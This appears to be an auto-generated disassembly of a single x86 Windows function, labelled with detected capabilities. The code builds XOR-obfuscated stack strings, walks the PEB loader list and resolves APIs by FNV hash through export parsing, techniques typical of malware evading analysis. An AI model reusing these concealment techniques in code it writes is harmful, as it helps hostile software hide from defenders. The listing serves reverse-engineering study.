Function at 0x4c10a0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4b8
mov eax, dword [0x4d700c]
xor eax, esp
mov dword [esp + 0x4b4], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov cl, 0x6d
mov dword [esp + 0x1c], eax
mov dl, 0x7b
mov byte [esp + 0x150], 0x1e
mov al, 0x6b
xor al, byte [esp + 0x150]
mov ah, 0x6c
xor cl, byte [esp + 0x150]
mov ch, 0x2d
mov byte [esp + 0x151], al
mov dh, 0x2c
mov byte [esp + 0x152], cl
mov cl, byte [esp + 0x150]
mov byte [esp + 0x17], 0x30
xor ah, cl
mov al, byte [esp + 0x17]
xor dl, cl
xor al, cl
mov byte [esp + 0x16], 0x7a
mov byte [esp + 0x157], al
xor ch, cl
mov al, byte [esp + 0x16]
xor dh, cl
xor al, cl
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x158], al
mov al, byte [esp + 0x15]
xor al, cl
mov byte [esp + 0x14], 0x72
mov byte [esp + 0x159], al
mov al, byte [esp + 0x14]
xor al, cl
mov byte [esp + 0x154], ah
mov byte [esp + 0x15a], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x15b], 0
mov byte [esp + 0x153], dl
mov byte [esp + 0x155], ch
mov byte [esp + 0x156], dh
mov byte [esp + 0x15b], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x20], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c11f8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c11f8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x2c], ecx
dec edi
mov esi, 0x28e58d84
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c11ed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c11d0
cmp esi, 0x2fd97ea6
je 0x4c11fc
mov ecx, dword [esp + 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c11b0
mov eax, dword [eax]
jmp 0x4c1182
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x151]
add eax, edx
push ecx
call eax
mov dword [0x4d7870], eax
mov cl, 0x21
mov byte [esp + 0x15c], 0x52
mov al, 5
xor al, byte [esp + 0x15c]
mov dl, 0x60
xor cl, byte [esp + 0x15c]
mov ah, 0xd
mov byte [esp + 0x15d], al
mov dh, dl
mov byte [esp + 0x15e], cl
mov ch, 0x61
mov cl, byte [esp + 0x15c]
mov byte [esp + 0x14], 0x7c
xor ah, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], 0x36
mov byte [esp + 0x163], al
xor ch, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 0x3e
mov byte [esp + 0x164], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0x17], 0x3e
mov byte [esp + 0x165], al
mov al, byte [esp + 0x17]
xor al, cl
mov byte [esp + 0x160], ah
mov byte [esp + 0x166], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x167], 0
mov byte [esp + 0x15f], dl
mov byte [esp + 0x161], ch
mov byte [esp + 0x162], dh
mov byte [esp + 0x167], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c1358
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c1358
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0x7ba27cc4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c134d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c1330
cmp esi, 0xc25d21e6
je 0x4c135c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c1310
mov eax, dword [eax]
jmp 0x4c12e5
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x15d]
add eax, edx
push ecx
call eax
mov dword [0x4d7868], eax
mov cl, 0x43
mov dword [esp + 0x1e4], 0x31260843
xor eax, eax
mov dword [esp + 0x1e8], 0x702f262d
mov dword [esp + 0x1ec], 0x2f276d71
mov word [esp + 0x1f0], 0x2f
xor byte [esp + eax + 0x1e5], cl
inc eax
cmp eax, 0xc
jae 0x4c13cb
mov cl, byte [esp + 0x1e4]
jmp 0x4c13b5
mov eax, dword fs:[0x30]
mov byte [esp + 0x1f1], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c1448
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c1448
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0xfb677597
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c143d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c1420
cmp esi, 0x69ba2049
je 0x4c144c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c1407
mov eax, dword [eax]
jmp 0x4c13e0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1e5]
add eax, edx
push ecx
call eax
mov dword [0x4d786c], eax
mov cl, 0x65
mov dword [esp + 0x168], 0xd3665
xor eax, eax
mov dword [esp + 0x16c], 0x57560909
mov dword [esp + 0x170], 0x909014b
mov byte [esp + 0x174], 0
xor byte [esp + eax + 0x169], cl
inc eax
cmp eax, 0xb
jae 0x4c14b9
mov cl, byte [esp + 0x168]
jmp 0x4c14a3
mov eax, dword fs:[0x30]
mov byte [esp + 0x174], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c1538
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c1538
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0xc09ccf0d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c152d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c1510
cmp esi, 0xfcec3527
je 0x4c153c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c14f7
mov eax, dword [eax]
jmp 0x4c14d0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x169]
add eax, edx
push ecx
call eax
mov byte [esp + 0x30], 0x60
mov al, 0x13
xor al, byte [esp + 0x30]
mov cl, 0x54
mov byte [esp + 0x31], al
mov dl, 0x26
mov al, byte [esp + 0x30]
mov ah, 3
xor cl, al
mov byte [esp + 0x14], 0x2b
mov ch, 9
mov byte [esp + 0x32], cl
xor ch, al
mov byte [esp + 0x38], 0
mov dh, 2
mov byte [esp + 0x35], ch
xor dl, al
mov byte [esp + 0x38], 0
xor ah, al
mov byte [esp + 0x33], dl
xor dh, al
mov byte [esp + 0x34], ah
mov al, byte [esp + 0x14]
lea ecx, [esp + 0x1e4]
xor al, byte [esp + 0x30]
mov byte [esp + 0x36], dh
mov byte [esp + 0x37], al
call fcn.004b5360
lea ecx, [esp + 0x31]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c15d0
sub ecx, edx
lea eax, [esp + 0x31]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b4ff0
mov byte [esp + 0xb0], 0x18
mov cl, 0x76
xor cl, byte [esp + 0xb0]
mov al, 0x56
xor al, byte [esp + 0xb0]
mov ch, 0x79
mov byte [esp + 0xb1], al
mov dl, 0x4a
mov byte [esp + 0xb2], cl
mov dh, 0x54
mov cl, byte [esp + 0xb0]
mov ah, 0x5e
mov byte [esp + 0x14], 0x7f
xor dl, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x15], 0x7a
mov byte [esp + 0xb7], al
xor dh, cl
mov al, byte [esp + 0x15]
xor ah, cl
xor al, cl
mov byte [esp + 0x16], 0x4e
mov byte [esp + 0xb8], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xb5], ch
lea ecx, [esp + 0xb1]
mov byte [esp + 0xba], 0
mov byte [esp + 0xb3], dl
mov byte [esp + 0xb6], dh
lea edx, [ecx + 1]
mov byte [esp + 0xb4], ah
mov byte [esp + 0xb9], al
mov byte [esp + 0xba], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c1696
sub ecx, edx
lea eax, [esp + 0xb1]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b4730
mov al, 0x75
mov byte [esp + 0x12c], 0x2c
mov byte [esp + 0x15], al
mov cl, 0x5e
xor al, byte [esp + 0x12c]
mov ah, 0x4b
xor cl, byte [esp + 0x12c]
mov ch, 0x5d
mov byte [esp + 0x12d], al
mov dl, 0x7c
mov byte [esp + 0x12e], cl
mov dh, 0x61
mov cl, byte [esp + 0x12c]
mov byte [esp + 0x14], 0x60
xor ah, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x130], ah
mov byte [esp + 0x133], al
xor dl, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x131], ch
mov byte [esp + 0x134], al
lea ecx, [esp + 0x1e4]
lea eax, [esp + 0x12d]
mov byte [esp + 0x135], 0
push eax
mov byte [esp + 0x133], dl
mov byte [esp + 0x136], dh
mov byte [esp + 0x139], 0
call fcn.004b5380
test al, al
je 0x4c17c1
mov byte [esp + 0x6c], 0xc
mov al, 0x69
xor al, byte [esp + 0x6c]
mov cl, 0x79
mov ch, 0x49
mov byte [esp + 0x6d], al
mov al, byte [esp + 0x6c]
mov dl, 0x7a
xor cl, al
mov byte [esp + 0x73], 0
xor ch, al
mov byte [esp + 0x6e], cl
mov ah, 0x35
mov byte [esp + 0x71], ch
mov dh, 0x6f
mov byte [esp + 0x73], 0
xor dl, al
lea ecx, [esp + 0x6d]
xor ah, al
mov byte [esp + 0x6f], dl
xor dh, al
mov byte [esp + 0x70], ah
mov byte [esp + 0x72], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c17a6
sub ecx, edx
lea eax, [esp + 0x6d]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b45a0
lea ecx, [esp + 0x1e4]
call fcn.004b3e90
mov cl, 0x71
mov dword [esp + 0x214], 0x18153671
mov dword [esp + 0x218], 0x2041d01
xor eax, eax
mov dword [esp + 0x21c], 0x1d1d155f
mov byte [esp + 0x220], 0
nop word [eax + eax]
xor byte [esp + eax + 0x215], cl
inc eax
cmp eax, 0xb
jae 0x4c1816
mov cl, byte [esp + 0x214]
jmp 0x4c1800
mov eax, dword fs:[0x30]
mov byte [esp + 0x220], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c1898
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c1898
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0xfe6cbec1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c188d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c1870
cmp esi, 0xc90b342b
je 0x4c189c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c1857
mov eax, dword [eax]
jmp 0x4c1830
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x215]
add eax, edx
push ecx
call eax
mov byte [esp + 0x138], 0x7a
mov cl, 0x1e
mov al, 0x3d
mov byte [esp + 0x14], cl
xor al, byte [esp + 0x138]
mov ah, 0x49
xor cl, byte [esp + 0x138]
mov dl, 0x13
mov byte [esp + 0x139], al
mov ch, 0x48
mov al, byte [esp + 0x14]
mov dh, 0x54
mov byte [esp + 0x13a], cl
mov cl, byte [esp + 0x138]
xor al, cl
mov byte [esp + 0x15], 0x16
mov byte [esp + 0x13f], al
xor ah, cl
mov al, byte [esp + 0x15]
xor dl, cl
xor al, cl
mov byte [esp + 0x16], 0x16
mov byte [esp + 0x140], al
xor ch, cl
mov al, byte [esp + 0x16]
xor dh, cl
xor al, cl
mov byte [esp + 0x13c], ah
mov byte [esp + 0x141], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x142], 0
mov byte [esp + 0x13b], dl
mov byte [esp + 0x13d], ch
mov byte [esp + 0x13e], dh
mov byte [esp + 0x142], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c19d8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c19d8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0xbf750dfc
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c19cd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c19b0
cmp esi, 0x37aaa92e
je 0x4c19dc
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c1997
mov eax, dword [eax]
jmp 0x4c1970
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x139]
add eax, edx
push ecx
call eax
mov dword [0x4d7880], eax
xor dl, dl
mov byte [esp + 0x3c], 0x41
mov al, 0x17
xor al, byte [esp + 0x3c]
mov cl, 0x71
mov byte [esp + 0x3d], al
mov ah, 0x39
mov al, byte [esp + 0x3c]
mov ch, 0x12
xor cl, al
mov byte [esp + 0x44], dl
xor ch, al
mov byte [esp + 0x14], 0x31
mov dh, 0x3b
mov byte [esp + 0x3e], cl
xor dl, al
mov byte [esp + 0x41], ch
xor ah, al
mov byte [esp + 0x3f], dl
xor dh, al
mov byte [esp + 0x40], ah
mov al, byte [esp + 0x14]
lea ecx, [esp + 0x214]
xor al, byte [esp + 0x3c]
mov byte [esp + 0x42], dh
mov byte [esp + 0x43], al
mov byte [esp + 0x44], 0
call fcn.004b5360
lea ecx, [esp + 0x3d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c1a70
sub ecx, edx
lea eax, [esp + 0x3d]
push ecx
push eax
lea ecx, [esp + 0x21c]
call fcn.004b4ff0
mov byte [esp + 0xbc], 0x5a
mov al, 0x2e
xor al, byte [esp + 0xbc]
mov cl, 0x63
xor cl, byte [esp + 0xbc]
mov dl, 0x1f
mov byte [esp + 0xbd], al
mov ch, dl
mov byte [esp + 0xbe], cl
mov ah, 0x23
mov cl, byte [esp + 0xbc]
mov dh, ah
mov byte [esp + 0x14], 0x18
xor ch, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0xc3], al
xor ah, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 0x3b
mov byte [esp + 0xc4], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xc1], ch
mov byte [esp + 0xc6], 0
lea ecx, [esp + 0x1e4]
mov byte [esp + 0xbf], dl
mov byte [esp + 0xc0], ah
mov byte [esp + 0xc2], dh
mov byte [esp + 0xc5], al
mov byte [esp + 0xc6], 0
call fcn.004b5360
lea ecx, [esp + 0xbd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c1b42
sub ecx, edx
lea eax, [esp + 0xbd]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b4ff0
mov cl, 0x65
mov byte [esp + 0x114], 0x37
mov dl, cl
mov byte [esp + 0x14], 0x71
xor cl, byte [esp + 0x114]
mov al, 1
xor al, byte [esp + 0x114]
mov ch, 0x54
mov byte [esp + 0x115], al
mov dh, 0x7d
mov al, byte [esp + 0x14]
mov ah, 0x56
mov byte [esp + 0x116], cl
mov cl, byte [esp + 0x114]
xor al, cl
mov byte [esp + 0x15], 0x5f
mov byte [esp + 0x11b], al
xor dl, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 0x53
mov byte [esp + 0x11c], al
xor ah, cl
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0x17], ch
xor ch, cl
mov byte [esp + 0x11d], al
mov al, byte [esp + 0x17]
xor al, cl
mov byte [esp + 0x119], ch
lea ecx, [esp + 0x115]
mov byte [esp + 0x11f], 0
mov byte [esp + 0x117], dl
mov byte [esp + 0x11a], dh
lea edx, [ecx + 1]
mov byte [esp + 0x118], ah
mov byte [esp + 0x11e], al
mov byte [esp + 0x11f], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c1c20
sub ecx, edx
lea eax, [esp + 0x115]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b4730
mov byte [esp + 0xf8], 0x48
mov al, 0xf
xor al, byte [esp + 0xf8]
mov cl, 0x38
mov byte [esp + 0xf9], al
mov dl, 0xa
mov al, byte [esp + 0xf8]
mov ch, 0x29
mov dh, 0x3b
mov byte [esp + 0xff], 0
xor cl, al
mov byte [esp + 0xff], 0
xor dl, al
mov byte [esp + 0xfa], cl
xor ch, al
mov byte [esp + 0xfb], dl
xor dh, al
mov byte [esp + 0xfd], ch
mov ah, 0x3e
mov byte [esp + 0xfe], dh
xor ah, al
lea edx, [esp + 0x1e4]
lea ecx, [esp + 0xf9]
mov byte [esp + 0xfc], ah
call fcn.004b4a70
test al, al
je 0x4c1d22
mov byte [esp + 0x74], 0x75
mov al, 0x3c
xor al, byte [esp + 0x74]
mov cl, 0x14
mov ch, 0xc
mov byte [esp + 0x75], al
mov al, byte [esp + 0x74]
mov dl, 0x12
xor cl, al
mov byte [esp + 0x7b], 0
xor ch, al
mov byte [esp + 0x76], cl
mov ah, 0x23
mov byte [esp + 0x79], ch
mov dh, 0x3e
mov byte [esp + 0x7b], 0
xor dl, al
lea ecx, [esp + 0x75]
xor ah, al
mov byte [esp + 0x77], dl
xor dh, al
mov byte [esp + 0x78], ah
mov byte [esp + 0x7a], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c1d07
sub ecx, edx
lea eax, [esp + 0x75]
push ecx
push eax
lea ecx, [esp + 0x21c]
call fcn.004b45a0
lea ecx, [esp + 0x1e4]
call fcn.004b3e90
lea ecx, [esp + 0x214]
call fcn.004b3e90
mov cl, 0x3a
mov dword [esp + 0x1b8], 0x4c5e7b3a
mov dword [esp + 0x1bc], 0x9534a5b
xor eax, eax
mov dword [esp + 0x1c0], 0x565e1408
mov word [esp + 0x1c4], 0x56
nop dword [eax]
xor byte [esp + eax + 0x1b9], cl
inc eax
cmp eax, 0xc
jae 0x4c1d86
mov cl, byte [esp + 0x1b8]
jmp 0x4c1d70
mov eax, dword fs:[0x30]
mov byte [esp + 0x1c5], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c1e08
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c1e08
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0xc885747f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c1dfd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c1de0
cmp esi, 0xe3f61fe1
je 0x4c1e0c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c1dc7
mov eax, dword [eax]
jmp 0x4c1da0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1b9]
add eax, edx
push ecx
call eax
movaps xmm0, xmmword [str.5TE_]
xor ecx, ecx
movups xmmword [esp + 0x1b8], xmm0
mov dword [0x4d7878], eax
movaps xmm0, xmmword [0x4d2dc0]
movups xmmword [esp + 0x1c8], xmm0
mov word [esp + 0x1d8], 0x5959
mov byte [esp + 0x1da], 0
nop dword [eax + eax]
mov al, byte [esp + 0x1b8]
xor byte [esp + ecx + 0x1b9], al
inc ecx
cmp ecx, 0x21
jb 0x4c1e70
mov eax, dword fs:[0x30]
mov byte [esp + 0x1da], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c1f08
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c1f08
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0x22beeac7
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c1efd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c1ee0
cmp esi, 0x90a3aed9
je 0x4c1f0c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c1ec7
mov eax, dword [eax]
jmp 0x4c1ea0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1b9]
add eax, edx
push ecx
call eax
mov edx, dword [0x4d786c]
xor edi, edi
mov dword [0x4d787c], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x6042c68a
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c1f7d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c1f60
cmp edx, 0xf2bbfc8
je 0x4c1f89
mov edx, dword [0x4d786c]
inc edi
add esi, 4
jmp 0x4c1f50
mov eax, dword [esp + 0x20]
mov edx, dword [0x4d786c]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x2b4]
push ecx
add eax, edx
push 0
call eax
lea ecx, [esp + 0x22c]
call fcn.004b5360
lea ecx, [esp + 0x2b0]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4c1fd0
sub ecx, edx
lea eax, [esp + 0x2b0]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x234]
call fcn.004b4ec0
mov edi, dword [esp + 0x23c]
mov cl, 0x3c
push 0xffffffffffffffff
sub esp, 0x18
mov byte [esp + 0x40], cl
mov al, 0x60
mov byte [esp + 0x42], 0
xor al, cl
mov byte [esp + 0x42], 0
mov esi, esp
mov byte [esp + 0x41], al
mov ecx, esi
call fcn.004b5360
lea ecx, [esp + 0x41]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2028
sub ecx, edx
lea eax, [esp + 0x41]
push ecx
push eax
mov ecx, esi
call fcn.004b4ff0
lea ecx, [esp + 0x200]
call fcn.004beb20
add esp, 0x18
mov ecx, eax
call fcn.004b3c20
push eax
lea ecx, [esp + 0x234]
call fcn.004c38a0
lea ecx, [esp + 0x182]
inc eax
push ecx
push edi
push eax
lea eax, [esp + 0x238]
push eax
lea ecx, [esp + 0x1c8]
call fcn.004c39e0
lea ecx, [esp + 0x22c]
call fcn.004b4390
lea eax, [esp + 0x1b8]
push eax
lea ecx, [esp + 0x230]
call fcn.004be3b0
lea ecx, [esp + 0x1b8]
call fcn.004b4390
lea ecx, [esp + 0x1e4]
call fcn.004b4390
mov eax, dword [esp + 0x23c]
lea ecx, [esp + 0x183]
push ecx
add eax, 0xfffffffc
lea ecx, [esp + 0x1bc]
push eax
push 0
lea eax, [esp + 0x238]
push eax
call fcn.004c39e0
mov ecx, 0x4d70e0
call fcn.004b4390
lea eax, [esp + 0x1b8]
mov ecx, 0x4d70e0
push eax
call fcn.004be3b0
lea ecx, [esp + 0x1b8]
call fcn.004b4390
mov edx, dword [0x4d786c]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x8fbad32d
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c2150
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c2133
cmp edx, 0x7f930bb9
je 0x4c215c
mov edx, dword [0x4d786c]
inc edi
add esi, 4
jmp 0x4c2123
mov eax, dword [esp + 0x20]
mov edx, dword [0x4d786c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
je 0x4c2199
push 0
lea ecx, [esp + 0x64]
call fcn.004bea20
push 0x4d4cfc
lea eax, [esp + 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.004c0cf0
